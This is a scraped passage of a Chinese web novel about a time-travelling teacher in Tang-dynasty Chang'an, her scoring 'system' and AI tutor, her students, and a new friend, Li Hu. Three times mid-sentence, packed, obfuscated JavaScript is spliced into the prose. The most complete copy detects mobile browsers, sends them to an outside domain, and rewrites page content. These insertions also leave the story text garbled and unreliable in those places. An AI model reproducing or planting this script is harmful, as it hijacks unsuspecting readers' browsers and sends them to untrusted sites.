【系统:倒计时3分钟】 地狱般无机质的机器提醒声让白果浑身一僵,本来还瘸着的脚瞬间不痛了,简直犹如医学奇迹。 飞速前往太医署,腰间挂着的配饰叮铃作响,为午后虫鸣增添了几分轻灵配乐。 终于,在最后三十秒时赶到病房外,白果扶着门框,气都没喘匀,喉咙里能清晰感到铁锈般的血味。 在太医署值班的小厮正打着盹,听见急匆匆的脚步声后猛地睁开眼,以为是管事发现自己偷懒了,连忙瞪大双眼、挺直腰杆,装了一会儿后才瞧清来人是谁。 不是管事,是位神色焦急的小娘子,他不认识。 许是过来探病的家属。 起身鬼鬼祟祟地观望四周,估摸着应是不会有人来了,那他再偷会儿懒也不过分吧。小厮又眯起眼睛,与周公下棋去了。 病房内, 阿迪勒握着自己弟弟的手,眼下挂着青黑,看起来已经许久没有休息了。 将帘纱放下,他起身走至白夫子身旁,思索片刻,从口袋里掏出个用破布包裹着的神秘物品递了过去。 为了不打扰病人休息,两人都用气声进行交流。 白果还没从刚刚的极速奔跑缓过来,往嘴里灌了几口苦茶。见此情形,以为是学生看她满头大汗,要给她手帕擦汗呢。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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趁着阿迪勒停顿的空隙,白果脑子一抽,把烫手山芋直接扔了出去。 下一秒就听见了门口小厮的痛呼,接着是重物倒地的声响,疑似被黄金砸晕。 这算不算是世界上最幸福的死法。 咳嗽两声,白果率先迈步走至病床边,她用手掀开薄纱,探头看去。 床上躺着的瓦希德微微睁开眼,四周依旧是朦胧一片,他能闻见身旁混合着泥土的陌生气味,虽然心中感到几分奇怪,但对于兄长的依赖还是让他没忍住把脑袋凑过去。 感受到一只手在轻抚着自己的头顶,软绵绵的,力道很舒适。他迷迷糊糊地想着:自己哥哥什么时候变得这么温柔? 想着想着,又贪心地想要把整个人都送进掌心里,像是毛茸茸的芦苇荡漾在阳光中。 就在瓦希德又要陷入梦中之际,他听见哥哥惊讶的声音。 “他从不会这样的。” 然后是一道熟悉又陌生的女声,带着点儿慈爱的笑意。 “蛮可爱的,像小狗一样,咳。” 瓦希德瞬间清醒,看着床榻边正盯着他瞧的白夫子和哥哥,脸涨得通红,本来就是个白皮肤,这红晕也变得尤为明显。 他把脸蒙进被褥里,说什么也不肯再探出头来。 这下就更可爱了啊。 学生,真好玩。 知道需要适可而止的白果把目光移向正怀疑人生的阿迪勒,他还在疯狂思索着为什么弟弟不会对他露出那样信任的神情。 白果拍拍他的肩,询问道:“瓦希德最近没有再出现过敏情况吧?” “没有。”阿迪勒回过神来,接着想要把白夫子那天递给他的药还回去,“这很重要,瓦希德病好了,应该留给其他人。” 这回白果没再推辞,将药收进袖带中。 真神奇,明明是双胞胎兄弟,两人的气质和性格简直是截然相反的两个极端。 又围绕着病情简单交谈一会儿,确认没有问题后终于放下心来。 【系统:探望学生事件已完成,由于本次为系统紧急提醒,因此不加分也不扣分】 【系统:请玩家应以为戒,下次出现类似情况将不再有紧急提醒,过时直接扣分】 白果被系统冰冷的文字打败,她甚至开始怀念起智能AI,最起码听起来有点儿人情味。 【Tea:学员您好,根据您刚刚随意向户外抛物、并砸伤行人的不良行为,这边已经在酌情扣分了,一定要记住不能随意乱扔东西哦(捂嘴笑)】 原来人情味就是阴阳怪气吗,怎么听起来更加生气了,还有那个表情包究竟是从哪里偷来的! 就在白果准备和智障AI同归于尽之时,阿迪勒犹豫着叫住她, 小声询问道:“夫子,我想问问,您所说的西市神秘商人......” 白果后知后觉地反应到对方说出的汉话几乎没什么口音,意外标准。可阿迪勒上课时似乎并不怎么表现自己,难不成是在藏拙? 她耐心听完对方剩下的话。 “那个商人,在哪里找到的货?” 嗯? “我也想做点儿生意。” 阿迪勒的眼中闪烁着金光,那全都是对钱的真诚渴望,不掺任何杂质。 一穷二白的白夫子此时更想把屋外的金球捡回来,她也想知道究竟该怎么赚钱。 …… 【系统:阿迪勒心理健康线已开启】 【系统:瓦希德心理健康线已开启】 21. 第 21 章 作为一个穷到每天恨不得薅尽公司羊毛的上班族,白果每日下值都会拎着两大壶热水回家。 为此她特意花巨资在系统商城购入两个热水壶。 因着天天蹭车,陆象先有些好奇她如此麻烦的做法,白果撇撇嘴,真是富人不懂穷的苦。 她给出了十分可怜的回答:在自家烧水还需柴火,柴火又需铜钱去买,兜比脸还干净的她是绝不会花那个冤枉钱的。 一个月就2000俸禄,吃土都吃不起。 勤勤恳恳上了十天班后,终于要迎来为期一日的旬假,简直是睡个懒觉就会消失的无效假期。 什么破工作,还不如996呢,每周最起码还有个单休。 只可惜仅一天的假期也不想让她好过,这边有李泌的湖上泛舟请帖,那边还有李邕、萧诚二人的书法宴会邀请,更别提贺导师还打算在旬假对她进行教学培训。 从没想到自己竟会如此受欢迎, 但完全不想要这种受欢迎,不能直接给她钱吗。 综合各个选项,还是李泌的邀请最为划算。 他出身辽东李氏,目前长安城内仅是他和妹妹李鹄居住,其余族人都不在此处,颇为冷清。 这游湖泛舟的邀请是李鹄提的,她自然也会来。 老早就听说李泌的妹妹十分有个性,因着身体原因不怎么爱出门,但凡是见过她的人无一不感慨: 美则美矣,可惜并非丰腴之美,弱柳扶风之姿;有着与面容完全相反的性子,说起话来更是尖酸刻薄,不懂礼数,喜好恶语伤人。 总而言之,只可远观,靠近了就要被喷个体无完肤。 就连一向不着调的陆象先也劝白果别去赴宴,他算是切身体会过李鹄的言辞,因着自己是客人也不好多说。 从未想过世上竟会有如此奇葩,李泌能忍受多年当真是令人敬佩。 据小道消息,兄妹二人之所以孤零零住在长安,全是李鹄那张嘴的功劳,将所有人都讥讽个遍,除李泌外没人能受得了她的臭脾气。 “此话当真?若真是如此,那便更要见上一面了。” 白果饶有兴致地听着陆象先的劝告,心中朦朦胧胧拼凑出对方的大致模样,只是不管怎么想都觉得欠缺点儿什么。 如此有个性的女子,若能成为朋友就更好了。 刚好她结交好友的任务指标还没完成。 见劝阻无用,陆象先也不再多费口舌,独自低头弹出几个泛音,余音缭绕,渐渐浮现出一曲乐谱。与往常曲风大相径庭,弹得是小调,一呼一吸间缓缓勾勒出一副美人图。 这美人更是非同寻常,喜笑痴嗔皆是生动,眸光锐利似箭,眉间却余郁郁寡欢,动时若清风揽叶,静若仕女图中一簇淡花,抬眸讥笑,颇有料峭春寒之意。 古时有高山流水遇知音,现有落日飞雁催眠曲。 曲未尽,人已睡。 哭笑不得地看向身旁已然昏昏欲睡的白女郎,纵有万般言语也无法继续诉说,陆象先只得转换曲目,希望不要扰了对方的好眠。 琴声依旧,日光西斜,时间过得倒是不快不慢。 翌日清晨, 依旧穿着那身石榴色圆领袍的白果在屋内踱步,时不时纠结自己今日的穿搭是否符合礼仪要求。 愈是对那位李女郎好奇,她便愈是紧张,就跟第一次交朋友般紧张。 同样学着她模样走来走去的金刚鹦鹉倒显得格外悠哉,让白果没忍住踹它一脚,公报私仇。 鹦鹉瞪大眼珠控诉,“坏人,坏人,坏人!” “嘁,坏鸟,我今日可是要逍遥快活去了,你自己在家里好好呆着吧。” 白果弯腰对鹦鹉做了个鬼脸,她倒也没成熟到哪里去。 似乎是听懂了什么,金刚鹦鹉开始发出凄厉的喊叫声,把延寿坊的大鹅都吓醒不少。 在一片混乱之中,听见有人敲了敲房门,是她请的救星到了。 门被推开,一个小脑袋从门后探了进来,瞧见地上的五彩鹦鹉后眼前一亮,很是激动地问道:“白女郎,它就是你所说的彩虹珍珠鸡吗?” 白果正举着镜子端详头顶发饰,顺口回了句: “是它没错,明珠可以叫它咪咪。” 季明珠小跑着进去,脚步格外轻快,捧着下巴蹲在金刚鹦鹉旁,上下左右不停打量着,圆乎乎的小脸上挂满了惊讶与喜爱,她下意识夸赞出声:“咪咪你真是我见过最好看的小鸡。” 咪咪沉默两秒,秉承着尊老爱幼的原则,它直接扭头使劲儿啄了口自己那愚蠢的主人。听得一声痛呼后心安理得地昂起胸脯,享受着可爱小朋友的摸摸。 太坏了,简直就是邪恶鹦鹉。 捂着被鸟嘴啄出的红印,白果压下心中想要剁鸟烧烤的想法,从袖带里掏出今日报酬递给正抱着鹦鹉说话的季明珠。 还是老样子,十几颗五颜六色的饴糖。 季明珠没接,她摇摇头认真说道:“今天不要酬劳,而且......” 说话声渐渐小了些,她从自己的小包里掏东西,一通捣鼓后终于拿了出来——是只燕子模样的纸鸢。 听得她嗲声嗲气念起诗经中的一句:“春日迟迟,卉木萋萋。女郎天天忙于公务,可别忘了现在正是放纸鸢的好时节。” 白果笑着接过了礼物,若不是有明珠的提醒,她还真没感受到草长莺飞的春天竟来得如此悄无声息。 哎呀,本来上班就是为了生活,但上着上着却忘了该怎么活。 俯身揉了揉季明珠的脸蛋,缓缓道: “有你在自然忘不了,等过几日一同去放纸鸢如何?” “我不喜欢过几日。”她摇摇脑袋,带着孩童特有的天真和敏锐,垂鬟上的发带也随之晃动,透亮的双眸一眨不眨地盯着白果,嗓音里有几分祈求的意味:“等女郎今日回来就去,好吗?” 成年人那引以为傲的自控力在此刻瞬间瓦解。 白果恨不得化成石矶娘娘抱着小朋友猛吸,这世上没有人可以拒绝这样一份请求,绝对没有! 于是她果断应下,等今日赴宴回来后和明珠一同玩纸鸢。 “那我和咪咪在这里等你回来。” “等你回来,等你回来,等你回来。” 季明珠抱着金刚鹦鹉,两个小家伙互相贴贴,如同年画娃娃般生动可爱。 吱呀一声,门被合拢,那摇摇晃晃的纸鸢也飞上了天空,成为春日幻影的一朵云彩。 白果慢悠悠在大街上晃悠,微凉的风拂去身心疲惫。路上是各种糕点吃食,她一时嘴馋,买了几个不同口味的唐菓子,吃起来略有黏牙,但糕点模样实在精致小巧,让人忍不住想要留着当小摆件。 除去第一天来长安那日,她已许久没有感到如此清闲自在了。 街边几个孩童正欢快地摇着扇子,上面题字有几分眼熟。定睛一看,正面写着“我很穷”,背面则是“给我钱”。 什么时候流行起这种题字来了? 心中有几分不解,但也没太在意。 吃喝玩乐一番后才感觉自己又有几分活人气,从干果变回了白果。 果然是上班催人老啊。 若不是她没有不为五斗米折腰的勇气,那定是要好好享受人生。等以后有钱了,一定要吃遍整条街。 抬起头,估摸着时间差不多到了巳时。 请帖上约好在灞桥旁泛舟赏景,怕找不到地方,白果打算提前半个时辰踩点,按照最基本的礼仪规范,也想给对方留个好印象。 行至灞桥,遥遥瞧见杨柳依依二十余株,此时夹岸垂丝,嫩黄未褪,荡漾水中,映衬得粼粼波光。青石桥板间杂草新发,桥下沙洲还栖着两三野鹜,忽被远处货郎铜锣惊起,振翅时带起碎银般的水珠。 湖面零零散散飘着几叶扁舟,神情眷恋的青衫客依依不舍看着长安。桥上友人正想折柳送别,同样眼角含泪。 只可惜没折到柳枝,只有光秃秃的柳树。 自从灞桥折柳送别兴起后,这桥边的柳条可就遭了殃,被人薅秃了发枝。剩下长得高点儿的才能幸免于难,留存下来,算是为灞桥守住最后一抹春光。 这让想要送别的文人墨客感到无比遗憾,情绪都到这里了,不送点儿送点什么总觉得不对味。 有需求就有市场。 这不,已经有几个稚童捧着柳条跑向客户群体,十文一条。虽不是灞桥边的正宗的杨柳,但稍微意思意思也足够了。 “上面不还有柳条可以折吗?”有人出声打断了这场交易,指着柳树高处的枝条继续道:“八文钱,我上树给你折下来。” 从未经历过如此明目张胆抢生意的稚童们很是震惊,怎么回事,怎么有人故意扰乱市场价?! 泪水挂在眼角的友人还没反应过来,不过自然能分清十文钱与八文钱孰大孰小,掏钱的手换了一边。 得了铜板的白果低头对小孩们笑笑,像是个邪恶大反派。 对不住了,刚刚买点心消费太多。如今俸禄还没发,她可能会提前饿死家中。 稚童们也明白,单凭自己这小身板是打不过面前看起来就人高马大的“劫匪”,他们撇撇嘴,重新回到树荫底等着下位客户的到来。 不过还是不怎么服气,死死盯着那不要脸的“劫匪”,想看她究竟怎么爬上树,也悄悄偷师学艺一下。 只见这人气沉丹田,一只脚登在树干上,然后借力一跃而起,直接握住了上面的粗枝杆。手臂青筋清晰可见,后背那厚实的肌肉线条完全可以赏给在场所有人一人一个嘴巴子。 三两下爬到最高处,动作流畅利落,那股傲视群雄的气概一般人还真学不来。 就连扁舟上准备离开的青衫客也不免晃神,让船家再稍等片刻。这么有意思的事一定要吃完瓜再走,要不然他这辈子都不会原谅自己的。 此时的白果在柳树上一连折了几十条柳枝,下意识低头看去,视野变高后再看这灞桥倒别有一番风味。 捧着怀里的枝条还是觉得不满足,不怪她贪心,一条八文,那可都是钱啊! 默默将目光移向旁边的柳树,估摸着距离完全可以荡过去,脸上瞬间露出跃跃欲试的神情。 好在智能AI及时阻止了她的危险想法,这才没让她成为大唐首个人猿泰山。 【Tea:学员您好,破坏植被是需要扣分的。很抱歉,无法理解您的行为动机,服务器繁忙,请稍后——】 学员只是摆摆手,从树上跳下去后平稳落地,惹得围观群众又是惊呼。 将其中一条柳枝交给顾客,这才大发慈悲地解答了AI的问题:因为人类做事不需要逻辑,身体会比大脑更快一步动起来。 【Tea:所以AI永远无法取代人类,是吗?】 当然,如果有一天没有任何理由的,你就是想去做某件事。那么恭喜你,从智能电子生物降级成了碳基生物。 【Tea:.......很感谢学员的解答,但根据您刚刚破坏公共植被的行为,系统还是需要予以扣分。】 呵,冷漠的AI。 白果迈步走至树荫旁的孩童边,就在他们以为对方是要来揍人时,她将刚刚摘下的柳条都递了过去,语气和蔼。 “喏,我们合作怎么样?卖出一条分我3文钱。” 几个小孩儿面面相觑,最终同意了白果的结盟,十分卖力地到处游走卖折柳,而白果则坐在树荫下悠哉游哉吃着自己刚刚买的糕点。 不过一会儿,荷包鼓鼓。 坏心眼的大人。 白果露出了奸商的笑容,顺手送给他们几块饴糖,拍干净身上的糕点残渣后就转身走人了。 稚童们低头瞧着手中从未见过的珍贵饴糖,估计是他们卖一天柳条也赚不到的稀有货,没想到那位女郎竟是个难得的好人! “好甜的饴糖!” “把剩下的带回去给池哥哥吧,他肯定没吃过这样好吃的饴糖。” “......” 几个小孩儿叽叽喳喳地跑走,语气里充满了期待,今天当真是十足幸运的一天。 不过,另一边在船上等待许久的李泌可不是这么想的。 自从修道以来,李泌难得像今日这般焦虑。作为兄长,自然知道自家妹妹的性格有多不讨喜,但他依旧坚决认为是旁人没发现妹妹的好,只有真正用心去感受,才能看见那颗敏感纤弱的内心。 他也并不在乎他人的看法,只是——白女郎到底不是旁人。 如果连她也体会不到...... 想到此处,李泌眉间又生出几缕虑色,硬是将通身出尘之姿拉回了凡间。 “你在担心什么。” 坐在船舱后方逗弄湖中锦鲤的女子神情冷淡,毫不客气地戳穿李泌心中的真实想法:“怕她因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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有点儿不好意思的绕了绕脸颊,“我还没发俸禄,买不起什么贵重的见面礼,只希望你不要嫌弃。” 好一个清纯不做作的女郎! 伸手把散发着霸道香味的见面礼推到她的面前,叮嘱一句:趁热吃,凉了就不好吃了。 身后努力划桨的船夫也眼巴巴盯着这里,就连湖中的锦鲤都放弃食之无味的鱼食,一股脑聚集在炸鸡旁望眼欲穿。 …… “除了这个,就没别的想说了?” 客人摇头后又轻轻点头,认真道: “他们都骗我,你明明就是个很好的人。” 看来这人的嘴也不能信,明明就见了这一面,怎么就知道她是个好人。再者,她才不是什么好人,那种虚名谁稀罕。 李鹄伸出指尖,轻柔抚过客人的脸颊,然后落在唇边,细细打量着对方的面容。 在登船时因对方的身高和体型感到惊讶,那是种非常纯粹的生命力。她可以敏锐察觉到两人身上存在某种相似的性质,只不过没有像自己般锐利刺向他人,而是一种近乎平和的气质,以一种漠然和包容的心态来面对所有。 第一眼是好奇,而后便是浓郁的兴趣了。 因着兄长修道的缘故,她也懂得几分面相之说。指尖下意识摩挲几下,嘴角微勾,露出满意的笑意。 她看人可比兄长准多了。 这位白女郎,自己是绝不会放过她的。 还不知道已经被盯上的白果很是自然地,握住了对方在自己脸上乱摸的那只手。 很凉,像是块透着寒气的玉佩。 她琢磨着要不要再买个热水袋,可刚刚卖柳条赚的钱全都用来买系统商城的炸鸡桶了,现在又变成了一贫如洗的经济状态。 自己怎么就管不住嘴,恩格尔系数为什么会这么高。 算了,不吃白不吃。人活这一辈子,不就是为了犒劳这张嘴的吗。 在大脑博弈一番果断放弃,用纸巾包着手,从炸鸡桶里拿出块奥尔良鸡翅,白果还记着这是见面礼,很自然地递到李鹄嘴边。 “这个口味最好吃。” 李鹄也不嫌弃,咬下一小口后嚼了嚼,那双锐利的下三白眼头次散发出欣喜的神情。 她以前都吃的什么狗屎玩意儿,一定是李泌为了修道,把那些难吃东西都说成是修身养性。 想到这里,又恶狠狠咬了一口鸡翅。 白果见她吃得急,不忘把可乐也一同递过去,炸鸡配可乐,那才是最完美的搭配。 撑着下巴欣赏美女吃饭,虽然模样看起来像是半个月没吃过东西,但丝毫不影响美貌。 真好看,在进门第一眼就被李鹄那双眼睛迷住。 标准的下三白眼,每处五官都带着颓靡般的艳丽,像是枝浑身带刺的食人花。她毫不客气地释放着强烈的攻击性,虽然身形消瘦,但依旧令人不敢小觑。 那些人说她的种种不好,在此时都化成她的独特之处。在这个社会评价体系里,李鹄的形象气质不符合世俗标准,但谁又在乎那群人的碎嘴,李鹄最多只会翻个白眼,多看一眼都是污染视线。 白果在脑海中幻想的朦胧人影也终于有了清晰面庞,似乎她本人就应该是这样的。哦不,简直比想象中还要酷的存在。 想交朋友! 但万一——人家看不上自己怎么办?! 她陷入纠结,随手把即将一跃而起的锦鲤给拍回去,听得咕噜咕噜的声响。 犹豫好一会儿,又忽然感到耳垂凉飕飕的。 抬头看去, 是近在咫尺的李鹄,她身上有股中草药的冷苦气息,见白果终于注意到自己,这才不满道:“和我在一起时不许想旁的事。” “……那旁的人呢?” “就更不许了。” 白果点点头,回道:“那就好,我刚刚满脑子都想着你。” 李鹄难得不知该怎么回话,她报复性地捏了捏对方的耳垂,冷哼一声后坐回原位。 此时把鱼食都喂完的李泌还是没忍住想出去瞧瞧情况。 他掀开帘子,却发现船上已空无一人。 夕阳西下,船夫正打着哈切,告知他两位女郎已相约踏青去了。 李泌蹲坐船头,唯有一池锦鲤作伴。 …… 【系统:恭喜学员结识第六位好友,李鹄】 22. 第 22 章 “怎么还是这副唉声叹气的模样?” 贺知章布置完本周任务,听得一声有气无力的回应。低头瞧见白果依旧是放假前萎靡不振的摆烂状态,蔫哒哒的,像是吃了十颗黄连般痛苦。 难不成旬假时没好好休息? 不应当。 他本想在旬假那日对白果进行点儿培训任务,只是听闻她已和李长源有约,这才作罢,在假期好好休息一番也好。 可如今这副模样,哪里像休息过的,说是连夜耕了十亩地还差不多。 又听得几个哈切声, “时间就如同白驹过隙,转瞬即逝。” 白果慢悠悠抬起脑袋,眼下挂着青黑。 这不怪她。昨日在湖上泛舟后和李鹄聊得畅快,一时忘了回家时间,直至日落西斜才想起家中还有人等着和自己放风筝呢。又急急忙忙赶回家,陪着明珠玩了许久。 本以为可以休息休息睡个好觉,谁成想自己竟忘记准备明天的教案。系统的扣分警告成功打败了她,点着油灯爬起来补作业。 将同样是昨日熬夜补完的听课记录本与教案交给贺导师,白果嘴里还不忘念叨着自创的古诗:“一寸光阴一寸金,寸金难买寸假期。” 听她如此埋怨,贺知章不免失笑,提醒一句: “再过几日便是寒食节,有三日假可休。” 白果支楞起身子,虽不知道寒食节是什么,只要有假放就很好了。 【Tea:寒食节,亦称“禁烟节”“冷节”,是中国历史上一个独具特色的传统节日,可以追溯到上古时期。唐代统治者十分重视寒食节,使之成为了“国家法定节假日”。但请注意,在节日期间不能起火,家家禁止生火,都吃冷食,违者将受到严重处罚。】 不让生火吃冷食,那还叫什么假日,分明是苦修吧。 刚刚燃起的喜悦瞬间淡去,深深叹口气,又趴倒在桌案,身旁摆着一摞需要重新书写的崭新听课记录本与教案。 人生真是一片灰暗,看不到头。 见她面上表情变了又变,实在颇有喜感。想起另一件正事,贺知章从袖中掏出一封提议信,正是白果写的那篇。 最近国子监内毫不起眼的意见箱进行大整改,主持人是和白果十分不对付的李林甫。他连夜把所有建议都看了一遍,其中大部分为匿名书写。 挑挑拣拣出他认为最有用的意见,冠上自己的名义去完善国子监内部不足之处。动作幅度很大,巴不得让所有人都知道他的行为。 不过后来也确实得了嘉奖,让李林甫得意许久。 稍微知道些内幕的贺知章明白这背后定少不了白果的推波助澜,他有几分好奇,想知道自己的学生究竟用了何等高超计谋。 竟是连李林甫都被骗得团团转。 “孙子兵法第三十六计,激将法。” 白果眨了眨眼,十分神秘。 不可说啊不可说。 师徒二人对上视线,瞬间明白对方话中深意,于是没忍住一齐笑出声来,倒是不小心将埋头练字的萧诚给拽出书法世界。 再次叮嘱一番后,大忙人贺知章便匆匆离去。 未等白果坐下整理东西,那对面的萧诚又递来了厚厚一摞书籍,随意用长袖拂去旧书上厚重的灰尘,他认真说道:“这是我曾用的书法启蒙书籍,若是觉得不够,明日再搬来些。” 大致一瞧,估摸着二十本起步。并且大部分书页都已泛黄,快成了槁书,看上去是从商周传下来的老古董,年纪定是要比白果大上几轮。 书法,从入门到放弃。 “我觉得,学习任何新技能都需要缓冲期。” 白果不着声色的将书向对方的方向推去,差点儿没推动,头头是道地讲起她的歪理,“尽信书,则不如无书。萧学正一人便顶得上千卷学书,我只信你。” 她说得真诚,跑得也飞快。片刻后就消失在视线之中,只留下这句—— “我有要事在身,先走一步。” 完全没意识到有什么不对劲的萧诚正低头念叨着刚刚那两句话,心中顿感一阵暖流。 他何德何能,怎么能担上如此高的夸奖。 为了不愧对白女郎对他的期望,萧诚决心提取出几百本书籍的精华,去其糟粕,亲自编写一本适合白女郎基础的书籍。 有了新目标的萧诚充满干劲。 他甚至已经开始幻想对方收到这样一份礼物时会有何等反应,就像是...又回想起酒宴那天的那番话,耳垂微红。 就像是白女郎说的,他萧诚也和旁人都是假玩,更不能愧对了女郎对他的偏爱,不是吗? 指尖翻开书桌上放置的古籍开始细细研究,墨色晕染的眸中流露出点点星光,这副模样简直和平时的他判若两人。 不过白果暂时是瞧不见了,她蒙着头一路小跑到自己的秘密基地中,说是基地,其实也就是国子监花园里一个不起眼的小地方。 不知是不是设计者的有意为之,在湖面小桥后藏着个神秘入口,若是不细看根本发现不了。接着拨开重重迷障,绕过低垂缠绕的藤曼,再往前走一阵,顿觉豁然开朗,毫无遮挡的阳光照在面上,热烈且温和。 入口处放置者一块的石头,上面用行楷写着「耽园」二字。 里面景致不多,但胜在构思巧妙。 幽静小池连接着院子外的溪流,水很静,似乎落叶垂在水面的涟漪都能听清,里面有几条不知品种的小鱼苗,怕生得狠,只敢躲在石头缝隙里玩耍。参天古柏遮住头顶的大片阳光,另一半有光撒入的地方则都种满了不同品种的鲜花,似乎从未被人为修剪过,肆意生长,此时属于春天的花开得正盛。 一阴一阳,一静一动,交相辉映,颇有情趣。 她也是偶然找到这个地方的,每到心烦时就会进来躲一躲,有治愈身心的效果。大多时候会直接爬上树干,在高处俯瞰整个耽园,这才恍惚明白“耽”字用意: 在这里会忘记时间,不愿再费力去想繁杂的琐事,也算是被耽误了人生。 白果是个喜欢拖延的,她不介意耽园有没有偷走自己的时间,反正在最后期限完成就不算是偷懒。 这不,放假回来的上值第一日,所有事情重新开始计算,那意味着又要开启十天的恐怖循环。 既然如此还是先当个缩头乌龟,躲一躲吧。 【Tea:逃避并不是解决问题的好方法,无论如何,都是需面对生活中的各种困难。】 白果爬上树,用手帕遮住双眼,在小溪流水潺潺中生出几分困意,思绪已经有些困顿不清,难得没有心情去反驳智能AI所谓的大道理。 感受着阳光的温度和耳畔虫鸣,慢悠悠回道: 因为我是奇怪的人类呀。如果哪天你也在逃避问题不想去解决,那恭喜你,又离碳基生物近了一步。 【Tea:......服务器繁忙,请稍后。】 只是今日除了她想要被耽搁,还有另一人也磕磕绊绊走了进来。 他的动作很轻,呼吸声微弱,像是片落叶被风吹过的沙沙声,让人难以察觉。 起初白果并未感到什么不对劲,直到听见隐秘的哭声后才猛地睁开眼。 转身透过叶片缝隙向下看去, 朦朦胧胧瞧见个纤弱人影。 此时正背对着她,跪坐在花卉前哭泣,并且很小心地避开了所有小草。 【系统:发现学生的怪异行为,为了学生心理健康,请及时处理】 不知为何,看见这个模糊身影的第一秒,白果在脑海里直接蹦出了中臣明代的名字。 绝对是上次下雨天找人的印象过于深刻,加上独一份难以形容的气质,要想认不出他也很难。 为了不打击学生自尊心,没有选择贸然跳下去,白果又发挥了传统技能:在树杈上偷听。 想要找到学生今天怪异举动的背后深层次原因。 呜咽哭声大概持续了十五分钟,只见中臣明代又从身后背包里掏出个盆栽,眼泪流得更盛,近乎泣不成声的地步。 一场无言,却又撕心裂肺的痛苦弥漫其中。 他用手将盆栽里已经枯萎大半的花移植出来,一边抽泣着,一边认真给花浇水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735582|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 施肥,虔诚到让人觉得不可思议的地步。 是把花当成了某种情感寄托? 还是单纯喜欢花,舍不得看见花朵枯萎。 白果暗自思忖着,但不管哪个答案都有些惊讶。就算是再喜欢花,也不至于到如此地步吧。 没过一会儿,似乎是哭累了。 他蹲坐在小溪旁用凉水拂去脸上的狼狈,深呼吸几口气,努力压制心中情绪,又恢复了往日的平静。静坐片刻后伸手轻拍水面,本来躲在石底的小鱼听见声音全都殷勤地游了出来,与他指尖相贴。 从背包里拿出鱼食,他撑着下巴,痴痴望着小溪底下自在快活的小鱼。 也不知怎的,眼眶再次湿润,泪水顺着脸颊滴落湖底,溅起涟漪。 小鱼不懂人类为什么总是无缘无故落下咸湿的水滴,或许是他们的身体中也隐藏着小朵乌云,不开心也会下起雨。 感受着来自鱼儿的安慰,中臣明代嘴角扬起了很浅的笑意,转身从背包里拿出几块不知名的小点心,应该是从食堂顺出来的。 他将点心放在手掌心中,靠在树干下一动不动cos蘑菇。 就在白果以为对方是在进行光合作用时,几只啾啾叫的小鸟从树梢上飞去。 种类繁多,甚至那怕人的麻雀也可以亲昵站在他手中讨要吃食。 中臣明代的脸上终于又露出点儿笑容,他轻柔地抚摸着每一只小鸟的羽毛,嘴上嘀咕着奇怪的语言。 那些鸟儿仿佛听懂了般,一同啾啾叫着回应。 不过一会儿,本来养在国子监另一端的大鹅出现在视野中,气势汹汹很是嚣张。但在瞧见中臣明代后瞬间收起通身的反骨,很是听话地靠在他身边,沾着灰的鹅蹼在他身上留下道道痕迹,欢快的嘎嘎叫着。 每当白果以为这就是结束时,总会有新的动物加入底下的公主派对,一片和谐。阵营越来越大,直到整个院子里都是动物,连个下脚的地方都没有。 究竟是白雪公主,还是奇迹魔法男巫,白果已经完全分不清了。只觉得这个世界或许有些不对劲,但又说不上来。 耳边传来中臣明代轻柔的安抚声,有只小松鼠躺在他怀里打滚,然后用小手指着自己蓬松且毛茸茸的大尾巴比划半天。 “不小心被东西扎到了尾巴?” “吱吱!” 松鼠点点头,在所有动物紧张的目光下成功拔除倒刺。 小松鼠从两腮里抽出几颗松果作为报酬,贴了贴他的双手后依依不舍地离开了。 紧接着是一个又一个的小动物排队看病,若是没有病的也要和中臣明代絮絮叨叨一会儿,像是在唠嗑又像是倾诉最近生活的不如意。 而他会认真倾听每个小动物的声音,并给予相应反应。 总而言之,在树干上躺着偷听的白果完全不敢发出任何声音,生怕自己被人发现后并灭口。 这绝不是正常人可以拥有的能力,更像是拥有特异功能的超人类。 自己的学生都是什么卧虎藏龙之辈,有这能力还来上什么学,创立个动物医疗专业,直接开辟全新领域岂不更好吗? 耐心等待许久,树下的声音终于小了许多,只听得风的呼吸,似乎一切又都归于平静。 白果松口气,小心翼翼挪动身子向下瞧去,却和一双圆溜溜的大眼珠子对上视线,还是把头旋转180°才对上的,她被吓得直接从树上摔了下去。 刚刚那只罪魁祸首正倒吊在树上,咕咕叫唤两声,竟是只猫头鹰。 不过猫头鹰为什么会在白天出现,完全不符合生物学常识吧。 白果揉着腰从地上爬起来,又是灰头土脸的模样。她在脑中拟了好几个理由,想要解释自己不是有意想要偷听的。 只不过情况和她想得有所差别。 抬起头,所有动物都直勾勾盯着她,眼里充满了警惕,似乎下一秒就要把她这个闯入者撕个粉碎。 “白夫子。” 中臣明代叫住她的名字,抬眸轻叹, “你不该在这里的。” ......臣妾百口莫辩。 23. 第 23 章 夜半子时,斋舍内早已没了灯光。 此时万籁俱静,耳边隐约能听见老鼠在房梁悉悉索索的声响。 因着生源较多,国子监内一般安排三名学生为一间房,虽比不上家中规格,但也算得上舒适。本就是来求学的,身外之物不该过多计较。 漆黑屋内的三人早已沉沉睡去,发出了沉闷呼噜声,什么也扰不了他们的好眠。 一墙之隔,却是另一副场景。 被哭声吵醒数次、本就睡眠较浅的藤原清河颇为不耐烦,脸上挂满阴沉,已没有心思再去包容。 坐直身子后压低嗓音质问道:“为了几盆破花,你已经连续哭了三个晚上。” 